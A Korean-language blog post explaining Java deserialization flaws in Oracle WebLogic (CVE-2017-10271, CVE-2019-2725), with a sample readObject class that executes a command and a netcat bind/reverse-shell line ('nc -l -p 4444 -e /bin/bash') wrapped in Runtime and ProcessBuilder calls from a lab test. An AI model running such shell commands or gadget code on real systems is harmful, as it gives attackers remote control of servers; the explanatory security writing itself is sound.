자바 역직렬화 취약점은 과거에도 자주 발견되던 취약점이다. 최초의 자바 역직렬화 취약점은 2011년 9월에 발표된 Spring Framework RCE 취약점(CVE-2011-2894)로 알려져 있다. 그리고 2015년 11월, Stephen Breen이 Weblogic, WebSphere, JBoss, Jenkins, OpenNMS를 공격할 수 있는 역직렬화 Exploit 코드를 블로그에 공개하면서 많은 보안 전문가들의 관심을 끌었다.
그런데 엄밀히 말해 역직렬화 취약점은 역직렬화 자체에 있는 것이 아니다. 개념적으로 생각해도 데이터 형태만 변환하는 과정에서 원격 코드를 실행할 수 있는 취약점이 생기지는 않으리라 짐작할 수 있다. 직렬화/역직렬화 과정에서 특정 메서드를 사용하는데, 이 메서드를 통해 데이터 형태를 변환하는 작업 외에도 개발자가 원하는 작업을 할 수가 있다. 예를 들어, 아래와 같이 readObject 메서드에 getRuntime().exec() 실행 메서드를 정의할 수가 있다.
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class HutiObject implements Serializable
{
public String command;
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
{
in.defaultReadObject();
Runtime.getRuntime().exec(this.command);
}
}
JAVA에서는 위와 같은 원리로 XML을 JAVA 객체로 역직렬화한다. 그때 XMLDecoder, XMLInputStream 클래스 등을 사용한다. 2017년에 그 과정에서 취약점이 발견되었는데, 그 취약점 CVE Number는 CVE-2017-10271이다. CVE-2017-10271 취약점은 wls-wsat 컴포넌트에서 발견되었으며, 그 이후에 악성코드 유포에 종종 활용되었다. 당시 /wls-wsat/* URL 경로를 웹방화벽에서 차단하고, wls-wsat 컴포넌트를 비활성화하는 조치를 진행하였으며, Oracle사에서 보안 패치를 적용하였다.
CVE-2019-2725 역시 XML을 JAVA 객체로 역직렬화하는 과정에서 발견된 취약점이기 때문에 CVE-2017-10271과 비교를 많이 한다. CVE-2019-2725는 wls9-async 컴포넌트에서 발견된 취약점으로 취약한 URL 경로는 /_async/*이다. 공개된 POC에서는 주로 ProcessBuilder 클래스를 사용해 원격 명령어를 실행한다. 그런데 ProcessBuilder 클래스가 아닌 Runtime 클래스를 사용해도 원격 명령어를 실행할 수 있다.
Runtime.getRuntime().exec(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"});
위의 exe() 메서드를 ProcessBuilder의 start() 메서드로 변환하면, 아래와 같다.
new java.lang.ProcessBuilder(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}).start()
ProcessBuilder 클래스를 사용한 POC는 아래와 같다. 여기서 172.17.0.1은 칼리리눅스의 docker0 인터페이스 IP이다.
POC 테스트 결과, 대기하고 있던 netcat으로 reverse connection이 맺어졌으며, weblogic 서버의 bash shell이 실행되었다. 이때, 웹서버의 응답 코드는 202(Accepted)이다.
그리고 Runtime 클래스를 이용한 POC는 아래와 같으며, POC 결과 ProcessBuilder 클래스를 이용한 것과 동일하다.
어렵네요
여러번 읽어야 겠어요
Posted using Partiko iOS